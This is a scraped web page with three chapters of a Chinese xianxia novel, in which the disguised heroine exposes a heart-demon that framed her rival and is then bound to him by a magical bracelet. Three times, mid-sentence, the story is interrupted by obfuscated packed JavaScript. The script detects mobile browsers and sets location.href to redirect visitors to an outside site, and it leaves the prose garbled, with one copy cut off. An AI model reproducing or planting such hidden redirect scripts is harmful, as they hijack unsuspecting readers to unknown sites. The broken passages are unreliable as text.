“神仙!是神仙显灵了!” “苍天有眼啊!终于有神仙来救我们了!” “求求神仙!求您救救我们村子吧!除魔!快除魔!” 29.诛魔 云微睁开眼,发现自己正身处一间简陋土屋之中。 一群衣衫褴褛、面黄肌瘦的村民将她围在中央,对着她脚下那幅用暗红液体绘就的血阵拼命磕头。 幻阵已启,此地凶险未知,任务言明“寻人”,此情此景却是要她除魔?是幻阵本身的考验,还是长老们刻意为之?需得万分小心。 “除魔?何魔?细细道来。”云微开口,声音清冷。 既是任务,线索必藏于此,需先弄清这“魔”之根由,方能抽丝剥茧,寻到同门。 闻言,众人争先恐后、语无伦次地哭诉起来: “是……是一个穿玄色衣服的魔头!昨日他一出现,村口养活了我们几十年的老井里就全变成了粘稠的血!腥臭扑鼻!” “昨日下午!他还杀了我们村的老李……李大风!现在……现在已经被我们合力抓住了……就绑在村中央!求神仙快去除了他!不然……不然我们全村都要被他祸害死啊!” “带路。”云微言简意赅。 井水化血乃大凶之兆,确似妖魔盘踞。 但……以他们的实力,能合力擒住魔头吗? 不等云微想完,一个头发散乱、双眼红肿的中年妇人挤到最前面,一把抓住云微的衣袖,涕泪横流地哭嚎:“神仙!您可一定要为我们做主啊!杀了那魔头!那挨千刀的……他杀了我相公啊!求您一定让他魂飞魄散,替我当家的报仇雪恨啊!”她哭得撕心裂肺,情真意切。 “是非曲直,看过方知。”云微安抚地拍了拍她的手。 屋外天色阴沉如铅,残垣断壁间,不见半点炊烟,也听不到鸡鸣犬吠。 很快,云微便被带到村中央一片相对开阔的泥地。 空地中央,赫然矗立着一个用粗糙木头和石块草草垒砌的简陋处刑台。 台上,堆积着高高的干柴与枯草,而柴堆顶端,一个身影被粗糙的荆条和浸了水的粗麻绳紧紧捆缚在一根粗大的木桩之上。 那人一身玄衣,此刻却被大片大片刺目的、尚未干涸的暗红色血迹浸透。 他低垂着头,墨色的长发凌乱地披散下来,遮住了大半面容,只能看到紧抿的下颌和苍白得毫无血色的薄唇。 谢澜忱? 云微面色一怔,所谓的“魔头”竟是片刻前还在高台之上被吴长老吹捧、对她视若无睹的玄衣少年。 面纱之下,她薄唇紧抿,心中思绪万千:谢澜忱怎会在此?还成了村民口中要烧死的“魔头”? 当时那些弟子追问要寻何人时,吴长老特意唤他出来做“引子”,难道是想让众人记住他的脸,并非彰显其优秀,而是因为他就是幻阵中要找的那个“同门”。 长老设下此局,是要看这百余名弟子,有多少人会如当时石塘镇一般,不问青红皂白,对“魔头”痛下杀手?还是要试探她这个“无名”,面对同样被诬为魔的宿敌,会如何抉择? 云微转向身旁依旧哭哭啼啼的李嫂,声音放缓,带着探询:“这位大嫂,你说那‘魔头’杀了你当家的李大风?他……是如何来到你们村子的?又是如何行凶?你亲眼所见吗?”她并未透露谢澜忱的身份,此刻暴露只会让情况更加复杂混乱。 李嫂抹着眼泪,抽噎道:“就……就是昨天!天快黑的时候,这魔头突然出现在村口,样子怪吓人的,冷冰冰的,一句话也不说。我看他穿着打扮不像普通人,还以为是过路的侠士,好心请他进屋喝水……谁、谁知道,他一剑就把我当家的给捅死了!我亲眼看见的!神仙啊,您可一定要为我做主啊!” 云微垂下眼,右手轻轻抵着下颌,眸光在谢澜忱昏迷的脸上转了一圈。 他若真是行凶的“魔”,一身修为怎会被几个寻常村民制住? 她心念微动:看来非得亲自查验一番不可。 思及此,云微放下手,迈步便走上那简陋的处刑台。 在村民们充满希冀的注视下,她手腕一翻,断尘剑清越出鞘,寒光凛冽。 “好!神仙要动手了!” “杀了这魔头!烧了他!” “为李大风报仇!为我们村子除害!” 她秀眉微蹙,凝神细辨——周遭那股若有若无、令人心头作恶的魔气,竟半点也没沾在谢澜忱身上。 少年纵有嫌疑,却未必是真凶。何况吴长老素来严苛,她此刻若凭臆断下杀手,那老狐狸定会抓住把柄,斥她“心浮气躁、不辨是非”,将她判出局。 云微眸光微冷,自己断不能因一时鲁莽,便折在首轮。 她手中剑光一闪,并非刺向被缚的谢澜忱,而是斩向他身上捆绑的荆条与麻绳。 只听嗤嗤几声轻响,荆条与粗绳纷纷断裂,散落在地,少年失了支撑,身子一软,竟直直向前栽倒。 云微抬起左手,稳稳托住他的肩背,入手处一片冰凉黏腻,原是未干的血迹。 少年双目紧闭,唇上毫无血色,鼻息微弱得几不可闻,早已人事不知,只眉尖微微蹙着。 即便眼前之人只是幻阵所化,她心头也不由恍惚了一瞬。 他怎会伤得如此之重? 以他的身手,这些村民便是再多上十倍,也断伤不了他分毫。 除非……除非他自始至终,压根就没动过反抗的念头。 云微眉峰暗蹙,当下不再迟疑,小心翼翼将他半扶半靠在那堆柴草旁,指尖无意间触到他后背那几处深可见骨的伤,只觉入手一片滚烫。 “神仙!您……您这是做什么?”李嫂第一个变了脸色,踉跄着后退两步。 村民们也瞬间哗然,方才还热络的欢呼转瞬间化作密密麻麻的质问。 云微立于高台之上,面纱遮颜,唯有一双清冷的眸子扫视下方众人,声线平稳得没有一丝波澜: “诸位乡亲,稍安勿躁。我并非要放过他,而是要查明真相,明辨是非。你们称他为魔,要将他烧死,可曾亲眼见他污染水源?至于李大风之死,其中或有隐情。妖魔精怪,最擅伪装,惑乱人心,制造恐慌。若因恐惧而冤杀无辜,岂非正中那真正妖魔的下怀?此非除魔卫道,而是助纣为虐。” 她目光扫过一张张惊疑、愤怒、迷茫的脸,继续说道:“我观此人,虽气息微弱,然身上并无邪戾之气。你们皆是淳朴百姓,为妖魔所害,心中恐惧愤恨,我能理解。但正因恐惧,更需冷静,更需证据,而非被表象蒙蔽,行那亲者痛仇者快之事。若他真是魔,我必亲手诛之,还你们安宁。若他是被冤枉,甚至是为除魔而来反被构陷,我们岂非错杀义士,让真凶逍遥法外?” 这道理,当年在石塘镇,又有谁肯听她说一句?云微眼睫微颤,指尖在袖中蜷缩。 那时她也是这般据理力争,可回应她的,只有父亲冰冷的剑锋与一道玄天诛魔印。 半晌,她才缓缓垂眸,将那点翻涌的涩意压回心底。 罢了,陈年旧事,提它作甚。 村民们面面相觑。 “那……那神仙您说怎么办?村子里的祸事难道不是他干的?”一个村民鼓起勇气问道。 “李大风尸身何在?”她微微前倾身,目光锐利如剑,直刺李嫂躲闪的眼,“能否让我一观?” 李嫂眼神闪过一丝慌乱,下意识后退半步,支吾道:“这……我相公死得那么惨,尸身已经收殓了,不…不便再惊扰……” “查明真凶,令逝者安息,生者得保,方为对逝者最大的尊重。”云微又道,目光落在李嫂颤抖的肩头,“若你相公真是被他所杀,我必还你一个公道。可若另有隐情,难道你不想知道真正害死你相公的人是谁吗?让他含冤莫白,岂非更是不敬?” 几个年长的村民互相看了看,点了点头:“神仙说得在理!快把大风兄弟的尸身抬出来吧!让神仙看看!” “对!让神仙看看!看看到底是谁害了大风哥!” 李嫂脸色煞白,在众人目光逼迫下,只得咬牙点头,眼神怨毒地瞥了云微一眼。 很快,几个村民抬着一副简陋的门板过来,上面盖着一块破旧的白布。 掀开白布,露出李大风青灰色的脸,双目圆睁,透着死前的惊恐,胸口处一个狰狞的伤口,皮肉翻卷,血迹已凝固发黑。 云微蹲下身,并未直接触碰尸体,而是伸出两指悬于伤口上方寸许之处,指尖凝聚一丝灵力,顺着尸体经脉与气血微一探查。 伤口看似新鲜,但皮肉边缘已有轻微腐败迹象,血液凝固程度远超一日,体内生机断绝已久……她心中顿时了然。 “此人,”云微站起身,声音清冷而笃定地宣布,“至少已死去三日以上。绝非昨日才被杀。” “什么?!”村民们一片哗然,难以置信地看向李嫂。 李嫂尖声叫道,声音因急怒而变调,先前的哀戚荡然无存:“不可能!你胡说!我昨天下午还见他好好的!就是他!就是这个魔头杀了他!”她指着昏迷的谢澜忱,状若疯癫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148651|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是非曲直,眼见为实。”话音落,云微指尖一点灵光弹出,没入李大风眉心。 顿时,一幕清晰的景象在众人面前显现: 画面中,李大风独自坐在屋内,眼神呆滞,动作僵硬。 就在这时,一道玄色身影破门而入,眼神锐利如剑,手中孤鸿剑直刺李大风心口。 剑气贯入,李大风的身体软软向后倒去,一股黑气从他七窍中疯狂涌出。 少年转身欲走之际,李嫂才从屋外尖叫着冲进来,对随后赶来的村民哭喊:“这个魔头杀了我当家的!抓住他!打死他!”愤怒的村民一拥而上,而少年并未还手,只是勉力格挡护住要害,终被打倒在地,捆缚起来。 景象至此消失。 真相大白!村民们目瞪口呆,脸上充满了震惊、羞愧和后怕。 “原来……原来大风哥早就被妖魔害了?是这魔……不,是这位玄衣侠士救了我们?” “我们错怪了好人!还差点烧死他!” 云微却无暇理会村民的幡然醒悟。 井水依旧腥红刺鼻,村庄死气沉沉,谢澜忱除掉了占据李大风尸身的心魔,按理说村中魔气应散去大半,至少不会再恶化。 除非……还有更强大的魔物潜伏,且就在眼前。 就在此时,她眼角余光敏锐地捕捉到正欲悄悄退入人群的李嫂。 那妇人脸上哪还有半分悲戚,只剩下怨毒与惊慌。 “李嫂。”云微声音冰冷,足尖一点,转瞬便落在李嫂面前,拦住了她去路。“方才那召唤我前来的血阵,是何人所绘?” “我……我不知道!是……是祖上传下来的法子!我照着画的!为了救村子!”她眼神闪烁,声音发颤。 那血阵魔气精纯,绝非普通村民所能绘制。 “还想狡辩。”她探手扣住她的肩颈,同时右手并指如剑,狠狠点向其眉心印堂。 “啊——!”李嫂发出一声凄厉不似人声的惨嚎,周身黑气疯狂涌动、翻滚,面容剧烈扭曲变幻,时而还是那哀戚的妇人模样,时而又变成一张青面獠牙的狰狞鬼脸。 果然是你颠倒黑白,煽动村民,欲置谢澜忱于死地。 云微心中冷叱,杀意盈胸。 妖魔惑乱人心,当诛! 村民们被这突如其来的恐怖变故吓得魂飞魄散,惊呼连连,连连后退,空出一大片地方。 显露出半魔半人本相的李嫂怨毒地盯着云微,口中发出嗬嗬的怪笑:“多管闲事!坏我好事!我们昨日本欲屠尽此村,饱餐一顿!谁知来了这小子,杀了我的好搭档!我岂能放过他?便让井水变红,再栽赃于他!本想借这些蠢货之手烧死他,谁知他们之中竟有人于心不忍,我便画了阵法,本想招个厉害妖魔来助阵,没想到竟招来了你这个煞星!你们这些所谓的名门正派……都该死!” 原来如此,与石塘镇那心魔如出一辙的卑劣手段。云微冷冷地想。 她腰间的断尘剑骤然出鞘,剑光如匹练,刺入那心魔的心口要害。 “噗嗤!” 浓郁如实质的黑气从它体内疯狂涌出,迅速消弭于无形。 那具扭曲的躯壳也如同被抽空了所有支撑,软软地瘫倒在地。 石塘镇那个伪装成重伤少女的心魔,便是利用她的善念偷袭于她。最终妖龙遁逃,百姓惨死,也给了父亲构陷她‘堕魔’的口实。 云微握剑的手微微发紧,指节泛白。 同样的错误,她绝不会再犯第二次。妖魔邪祟,惑乱人心,其心可诛。 面对它们,怜悯与迟疑,便是对无辜者的残忍。 剑下不容情,方是真正的卫道。 云微收剑回鞘,转身去寻那个假的谢澜忱。 她蹲下身,抬手用袖角在少年脸上细细擦拭,从眉心到下颌,将那些泥污血痕一一拭去。 她眸色未动,心里却掠过一个念头:还是干净的他看着顺眼些。 * 观尘镜外,归云宗广场的高台上。 吴长老左手拿着一卷展开的玉册,上面镌刻着此次进入幻阵的弟子姓名,右手执着一支饱蘸朱砂的狼毫笔。 他死死盯着悬于空中的巨大观尘镜,镜中清晰映照出云微一剑诛灭心魔的画面,那张干瘦枯槁的老脸此刻阴沉得几乎要滴出水来。 “不行!”他咬牙切齿道。 “此女……断不可留!归云宗绝不能再出第二个云微!” 30.晋级 “吴长老,且慢。” 云微立于广场中央,负手握剑,眸光清冽如寒潭,直望台上之人。 吴长老素来厌恶冷静强悍的女子,此次大比必会借题发挥。 方才一剑破阵赶回,正是防着这一出。 吴长老骇然抬头,尖声道:“无名!时辰未至,谁允你擅自破阵而出?此乃严重违规!你莫非想被剥夺资格?” 云微足尖轻点,身形翩然落于高台,与吴长老平视。 半晌,她微微颔首,面无惧色:“长老可知万象幻阵第七重禁制?需以剑气直贯阵眼方得破障,此等手段,非心术纯正者不能为。弟子不才,恰通此道。” 她顿了顿,又道:“幻阵之试,旨在‘寻得同门’。弟子既已寻得谢师兄,诛灭惑乱村落、构陷同门之心魔,任务已然完成。继续滞留阵中,于考核无益,故斗胆以力破之。” 她早已想透,与其被动应对,不如先占住“合规”二字。 “宗门大比规则森严,却未曾明文禁止凭实力提前破阵。弟子此举,是特例,却非违规。” 他一时语塞,指着云微的手不住发抖,声音也带上了几分气急败坏:“强词夺理!一派胡言!万象幻阵乃宗门秘法所制,内藏天地玄机,岂是你说破便破的?你……你这是目无门规,亵渎玄机!” “无妨。”一道温和声音自二人身侧响起。 云微转眸,见一人身着月白云纹道袍,手持玉柄拂尘,不知何时已悄立台侧。 竟是段长老。她心中冷然。 昔日石塘镇,这位长老眉间蹙痛却终未发一言的模样,她至今记得。 袖手旁观之辈,纵有几分善意,亦与帮凶无异。 段长老缓步上前,拂尘轻摆,隔开吴长老几乎要点到她面门的手:“此次万象幻阵之题,乃老夫所出。考核本意,是看弟子在群情汹汹、指鹿为马之际,能否坚守本心,信任同门,而非蛮干盲从。” “若见同门蒙冤而冷眼旁观,或为自保而挥刀向友,纵有勇力,亦非归云宗所求之材。” 吴长老脸色铁青,压低声音怒道:“你出此题分明是含沙射影!那逆徒堕魔弑杀,证据确凿,宗主亲断,岂容置疑?如今又想要偏袒一个和她那么像的弟子?” “云微之事,与此女何干?”段长老声音微提,带着几分锐利,“吴师弟,你急于淘汰她,当真全无迁怒之意?宗门法度,岂容私心曲解?”他续道,“更何况,浮尘镜非你一人执掌,五位长老各持一块。阵中情形,诸位长老有目共睹。此女是否该晋,非你一人可决断。宗主早有明示,此次大比唯才是举,岂可因一己好恶埋没良才?” 浮尘镜竟有五块? 如此说来,她在阵中所为,其他长老亦看在眼里。 段长老搬出宗主之令,是在为她争取。 吴长老面色变幻,还想反驳,却被台下骤然亮起的连绵白光打断。 时辰已至,幻阵关闭,众弟子尽数被传送回广场。 众人刚落地,便注意到高台上对峙的两位长老,以及那位独立台前、白衣胜雪的女子。 “那是谁?怎地站在台上?” “她凭什么能和长老们并肩?莫非犯了错事?” “闭嘴。”一声冷斥陡然响起,压过窃窃私语。谢澜忱面色冷峻,扫过那些议论者,“台上站的是谁,轮得到你们置喙?”说罢,他极快瞥了云微一眼,目光复杂难辨,随即垂眸。 “肃静!”吴长老强压怒火,厉声喝道。 他先痛斥阵中表现不堪者,逐一淘汰,继而展开玉册念出晋级者名字。 被念到弟子颈间云踪珠纷纷泛出青光。 末了,吴长老合上玉册,冷声道:“此次幻阵,择优取六十三人晋级明日擂台战。明日辰时抽签对决,胜者进,败者汰!” “六十三?以往不都是六十四人吗?” “对啊,怎么少了一个?” 没有她的名字。云微眸光一冷。 吴长老竟用这等龌龊手段。她指尖微动,灵力暗凝。 想堵她的路?未免太天真。 那悬浮的浮尘镜正好一用,让众人瞧瞧,吴长老用私心筛掉的“劣才”,究竟何等成色。 浮尘镜光华一闪,飘至众人面前,回放出云微在幻阵中冷静验尸、勘破幻象、一语道破关键、最终一剑诛魔的全过程,全程未伤一个村民。 “快看浮尘镜!” “这不是高台上那位吗?竟如此厉害!” “她的云踪珠颜色未变,莫不是落选了?” 谢澜忱见状,立刻扬声道:“此人表现远超多数晋级者,若连她都无法晋级,考核标准何在?公正何存?莫非结果全凭长老喜好?” 吴长老又惊又怒,以为是段长老操纵浮尘镜与他作对,扭头瞪去:“你!” 段长老恍若未闻,朗声道:“诸位稍安勿躁。此次大比原定六十三人,但此女‘无名’表现突出,心性、智慧、实力皆属上乘,与归云宗所求之材契合。故经商议,决定破格增补一人。” 他虽未明说,可谁都清楚,浮尘镜在五位长老手中,阵中情形早已传遍,此刻吴长老若再硬顶着不松口,便是将其他几位长老的脸面也一并拂了。 宗主早已传下话来,他若执意违逆,别说日后在宗门立足,怕是连长老之位都坐不稳。 吴长老死死盯着云微那副波澜不惊的模样,恨得牙痒痒,偏又无可奈何。 他喉头滚动,从齿缝里挤出几个字:“……无名,晋级。” 话音未落,他再也按捺不住,转身便走了,连头都没回。 云微眸光扫过其背影,漠然置之。 这声“晋级”,不过是被铁证逼出的妥协。 她指尖轻拂过那颗变为青色的云踪珠,今日吴长老记下这一笔,日后必会变本加厉。 前路艰险,方才伊始。 段长老安抚了淘汰弟子,言明需于今夜子时前离宗,又勉励晋级者。 众人渐散。云微正欲下台,却被段长老叫住。 “无名。”段长老看着她,目光复杂,“你……很像老夫一位故去的弟子。她亦如你这般,惊才绝艳,心志坚毅,明辨是非,只可惜……天妒英才。望你保持本心,坚守道义,莫要……步她后尘。” 云微瞥了他一眼,声音清冷如旧:“多谢长老教诲。弟子之道,只在当下,只在手中之剑,只问无愧于心。” 言毕,她身形一掠,落向广场边缘古松。 谢澜忱正抱臂倚在树下,显然在等她。 “你如何过的关?”云微走近问道。 少年掀了掀眼皮,语气漫不经心:“还能如何?寻个由头接近那心魔所化的‘村民’,略施小计逼问破绽,让她乖乖显形伏诛罢了。” 云微点头,并不意外。 她正思忖谢澜忱见到阵中那个被诬为魔的“自己”时会作何反应,却见少年眸光倏然一凝,攥住了她的手腕。 “这是什么?”谢澜忱扯起她那素白衣袖,盯着那处极淡的暗红色痕迹,眉头紧锁,“你又受伤了?”他心中莫名一紧,同生契隐隐牵动,让他极不舒服。 云微抽回手,拉下袖子:“非是受伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只是……以他的性子,怕是只会嗤笑一声,暗骂段长老多事,既不同情她的过往,也不愤慨这题中影射,只当是场无关痛痒的戏码。 毕竟他向来如此,冷眼看着世间纷扰,事不关己便袖手旁观,纵有触动,也绝不会露半分在脸上。 少年闻言沉默下来,方才的羞恼迅速褪去。 他偏过头,墨色碎发遮住眼底情绪,良久才低声道:“能有何感想?不过是想到了某个在石塘镇,被构陷堕魔的人……她大抵也是这般百口莫辩,众叛亲离。” 云微蓦然一怔。 谢澜忱素来对他人生死漠不关心,这般联想,倒真是出乎意料。 难道同生契不仅连性命,竟连心绪也能引发共鸣? 云微静默片刻,伸出手,指尖轻轻抵住他的下颌,将他别开的脸转回:“谢澜忱,过往已矣,沉湎无益。诬我谤我者,我自会一一讨还。你我既结同生之契,共赴此局,便需向前看。纠结旧事,徒乱心神。” 她顿了顿,补充道:“纵是石塘镇旧事,于我而言亦不过是需破之局。如今局未终,棋未了,你我皆是棋手,而非任人摆布之子。向前看,破局而出,才是正理。” 谢澜忱心口一跳,只觉得眼前这张清冷的脸,似乎与记忆中那个高不可攀的身影渐渐重合,却又多了些从前从未有过的温度。 她这话……是说与他一同破局?她终于将他视为棋手,而非纯粹的利用对象? 半晌,少年忽然勾唇一笑:“你说得对。既是棋手,那便好好下完这盘棋。只是……”他话音微顿,逼近一步,气息几乎拂过她面颊,“师姐可要握紧手中的剑,看好了——你最后的盟友,或许比那些明面上的敌人,还要危险得多。” 31.同尘镯 云微抬手,指尖不轻不重地弹在谢澜忱额间,打断他那莫名带着几分挑衅意味的凝视。 “别闹了。”她语气平淡,听不出喜怒,“陪我去见一个人。”说罢,她握住少年的手,转身便往竹舍方向走去。 谢澜忱面色一怔,额间被她弹过的地方微微发烫,一时竟忘了挣扎,只愣愣地由她拉着前行。 一股说不清道不明的悸动掠过心头,夹杂着久远记忆中那份曾被死死压下的、对眼前之人的仰望。 两人行至竹舍附近,恰见阿念背着行囊,神情落寞地正欲离开。 “阿念?”云微驻足。 阿念闻声抬头,见是云微,眼圈微微泛红,强扯出一个笑容:“是姐姐啊。”她看了看云微身旁面色不虞的谢澜忱,低声道,“我……我果然还是失败了。准备了三载,日夜苦修,只盼能在此次大比中崭露头角,得以留在归云宗修习更高深的道法,将来好为恩人昭雪……如今,皆是泡影了。” “我发过誓,定要夺得魁首,在天下人面前证明她的清白!她不是魔头!” “我明白。”云微打断她,目光沉静如水,心中却因阿念的执念泛起一丝极淡的波澜。“正因明白,才更知你此刻心境。然道心之坚,不在宗门之名,而在己身之志。归云宗并非天下唯一修道之所,此处规则不公,长老存私,未必是你最好的归宿。” 她顿了顿,继续道:“你年纪尚轻,心性坚韧,根基亦算扎实。这三日,我见你虽力有不逮,此心却比许多晋级者更为可贵。昭雪之事,亦非仅有归云宗魁首一途。强大自身,即是根基。” 阿念怔怔听着,心中翻涌的绝望竟奇异地平复了些许。“多谢姐姐指点。”阿念深吸一口气,眼中重燃些许光亮,“姐姐说得对,强大自身才是根本。我会记住姐姐的话,继续走下去,总有一天,我要堂堂正正地为恩人正名!” 云微微微颔首,目送她转身离去。 少女的背影虽然单薄,却比方才挺直了许多。 待阿念走远,谢澜忱才冷哼一声,双臂环抱,眼神幽深地看向云微:“她口口声声要为你这‘恩人’赴汤蹈火,你竟能忍着丝毫不露端倪?”他心下莫名有些烦躁,既厌烦旁人提及云微过往的“荣光”,又隐隐不悦于她此刻的冷静疏离。 为何不坦白身份? 她若此刻告知阿念,自己便是那个“堕魔”的云微,于少女并无半分益处,只会将她卷入更深的漩涡,甚至可能引来杀身之祸。 她如今是“无名”,一个连过往都记不起的人,仅此而已。 云微瞥了他一眼,只道:“走了。” 明日擂台战至关重要,不如寻一处清净之地,与谢澜忱切磋一番,确保万无一失。 两人并肩而行,谢澜忱走在她右侧。经过一片清雅静谧、带着淡淡药香的住所时,他忽然开口:“瞧,宁兮河的住处。” 云微顺着他的目光望去。宁兮河比她小一岁,因先天根基受损,体弱多病,自幼被宗门收养,常年居于静峰休养,极少露面。 以往她专注于剑道,甚少关注他人,对宁兮河的印象仅停留在几次远远照面。 倒是大比报名那日,赵常胜有意刁难她这个“野修”时,宁兮河替她训斥了赵常胜,让她颇感意外。 恰在此时,宁兮河端着一盆清水从屋内走出,似是正要照料舍前药草。 见到云微,微微一愣,随即露出一个温和又略带惊喜的笑容:“姑娘,又见面了。”她将水盆轻轻放下,擦了擦手,看向云微,语气柔和,“上次走得匆忙,还未请教姑娘名讳。”目光转到谢澜忱身上时,她笑容未变,语气依旧温和,却多了份恰当的距离感:“谢师弟。”神态间并无太多熟稔,反而带着几分同门间的寻常客气。 少年只懒懒一掀眼皮,算是回应。 宁兮河眼中带着些许好奇:“两位……是一道来的?” 云微正欲开口,谢澜忱却已极其自然地微微侧身,看似随意地挡了挡云微,语气平淡无波,抢先道:“她是我在碧月山庄外遇到的,受了重伤,昏迷不醒,救醒后便什么都不记得了,连名字都没有。瞧着无处可去,便带回宗门了。就叫无名。” 宁兮河闻言,脸上掠过一丝同情:“原来如此。无名姑娘若不嫌弃,可要进来坐坐?我近日在为宗门炼制协同作战的法器,仿照古籍试做了一对‘同尘镯’,据说能感应心魔、护持灵台,正想寻人试试功效,或许对日后下山除魔卫道有些助益。”她看向云微,眼神诚挚,“我看姑娘气息清正,心志似乎尤为坚定,或许能给我些反馈。” 云微心下微顿。她本欲寻地切磋,婉拒之词已在喉间。 “能感应心魔?倒是稀奇。看看也无妨。”谢澜忱接话道。 他心下想的却是,云微残魂初定,虽化形却难保无虞,宁兮河捣鼓出的东西若真能护持灵台,于云微或有益处,瞧瞧总无坏处。 云微见他已应下,便不再多言,微一颔首。 三人遂一同进屋。 屋内陈设简单整洁,桌上散落着些许炼器材料和半成品,一旁还放着几卷医书。 宁兮河从案几上拿起一对材质特殊、闪着幽微光泽的银色镯子,介绍道:“此物名为‘同尘镯’,是我依据一篇残卷所制。之所以想叫这个名字,是因我觉得这镯子的性子,有些像我那位已故的云微大师姐。清冷,坚韧,看似不易接近,实则内蕴光华,自有其守护与坚持。” 谢澜忱原本心不在焉地打量着屋内别处,闻言,目光倏地落在那对镯子上,眼神微凝,指尖无意识收紧:“像她?哪里像?是看起来一样……”他本能地想说“一样不近人情”,但话到嘴边,瞥见云微沉静的侧脸,那熟悉的清冷姿态竟让他心头莫名一窒,后面的话便咽了回去。 云微心中亦是一动,宁兮河对她印象倒似不错。只是这比拟……她如今这般境地,谈何守护与坚持? 不等她细想,异变陡生。 其中一只同尘镯仿佛被谢澜忱方才的气机引动,骤然化作一道银光,套上了少年的左手手腕。 三人俱是一愣。 谢澜忱甩了甩手,那镯子却纹丝不动。 他脸色瞬间沉下:“宁师姐,这便是你想给我们展示的法器?” 云微蹙眉,立刻上前握住他的手腕,指尖凝聚灵力探查,并试图将镯子褪下,可它却异常牢固,灵力灌入竟如石沉大海。 “宁师姐,这是何意?”云微转眸,声音微冷。 谢澜忱推了她一把,急声道:“离我远点,小心这东西伤到你。”他心下骇然,这未知法器诡异莫测,他中招便罢了,若云微也……那股突如其来的恐慌竟压过了他对法器的恼怒。 宁兮河面色一滞,半晌才解释道:“这镯子我尚未完全炼制成功,它似乎认错了气机?”她话音未落,手中另一只同尘镯仿佛受到强烈召唤,嗡鸣一声,化作银光直朝云微右手腕袭来。 云微反应极快,侧身疾退。 但那银光速度更快,竟能在她腕间一绕,稳稳扣死。 宁兮河掩唇惊呼:“糟了……” 谢澜忱眼神阴沉得可怕:“立刻解开它!” 云微低头看着自己腕上的银镯,又看看谢澜忱腕上那只,心中瞬间闪过数个念头。 这镯子材质特殊,灵力难侵,似乎能相互感应,甚至……束缚行动? 宁兮河说是未完成品,但竟能同时困住她与谢澜忱,威力已不容小觑。 她究竟是无心之失,还是另有目的?若是后者,目的为何?困住他们,于宁兮河有何好处? “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195207|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘同尘镯’我还没完全弄好,它好像把你们俩的气机暂时连在一起了。现在你们恐怕不能分开超过一尺距离,否则镯子会强行将你们拉回。”宁兮河沉声说道。 “什么?”谢澜忱彻底黑了脸,试图朝门口走去。刚超过一尺,两人腕上镯子银光大盛,一股强大的拉力将他猛地拽回云微身边。 少年满脸不悦:“这般模样,如何参加明日的比试?” 云微眉头紧锁。 明日众目睽睽,他们若形影不离,根本无法对战。“宁师姐可有即刻解除之法?” 宁兮河面露难色:“暂时没有。这镯子炼制时加入了自行吸附灵机、认主联结的特殊材料,本是打算用于协同作战或暂时锁住妖魔气机以防其逃遁或自毁的,没想到……它竟自行对你们二人认主了。”她又道:“给我一点时间,我必定竭尽全力,在天亮之前找出解开之法。” 谢澜忱还想发作,云微却抬手制止了他。事已至此,斥责无用。 她快速权衡:宁兮河神情焦急愧疚不似作伪,且此举对她并无显而易见的好处。 眼下只能信她一次,强行破开或许会引发更糟的后果。 “好。”云微点了点头,语气果断,“那便有劳宁师姐。若有需协助之处,可来寻我们。”她说完,主动握住谢澜忱的左手,对宁兮河微一颔首,“告辞。” 谢澜忱被她拉着,脸色铁青地跟着离开。 一出门口,少年立刻反手紧握她的手,语气又快又急:“今夜怎么办?这镯子古怪得很……你感觉如何?可有不适?”他目光急切地在她周身巡视。 云微任他握着,语气平淡:“无碍。今夜你坐椅子便可。” “坐椅子?”谢澜忱几乎要气笑,但担忧很快压过了恼火,“若夜间这镯子再有异动如何是好?你明日……” 云微脚步未停,心下思忖:镯子虽怪,但暂无恶感,强行破除确易引发反噬。 她淡淡瞥他一眼:“不然?你想同榻而眠?” 谢澜忱被她一句话噎住,耳根瞬间滚烫,半晌才憋出一句:“……胡说什么!” “那便安静坐好。”云微推开竹舍的门,将他拉了进去。 深夜,竹舍内只余一盏孤灯。 谢澜忱紧绷着脸,将那张硬木椅子拖到床榻旁,重重坐下。 他双手抱臂,一双眼睛在昏暗光线下亮得惊人,死死盯着云微腕间的银镯,眉宇间交织着烦躁、懊恼与一丝忧色。 云微和衣躺于榻上,神情静默。 有谢澜忱在侧,她自然不会更换衣物。 她闭目调息,神识却悄然探向腕间镯子,试图探寻一丝破解之法。 见她如此镇定,少年心头的火气与担忧灼烧更甚,忍不住开口,语气冲撞:“你我被这破镯子锁住,明日若成笑柄,或遇未知之险,你便丝毫也不急?” “急怒若能解困,我自当效仿。既不能,便省些力气,思虑明日对策。无能狂怒,徒乱心神。”云微声音未起波澜。 过了一会儿,她感觉到身侧的少年似乎安静了下来。 又过了一会儿,一只手忽然抓住她露在衾外的右手。 云微骤然睁眼。 只见谢澜忱不知何时已凑近,弯着腰,正抓着她的手。 见她醒来,少年眼神一闪,语气生硬:“手冰成这样,明日还想不想握剑了?”说着,近乎粗鲁地将她双手塞回被中,似在同谁怄气。 塞好后,他立刻坐回椅上,背脊挺得僵直,偏过头不去看她。 他方才的举动……是关心? 谢澜忱素来厌她恨她,被迫结下同生契已是勉强,如今又被这同尘镯束缚,怕是更觉厌烦与憋屈。 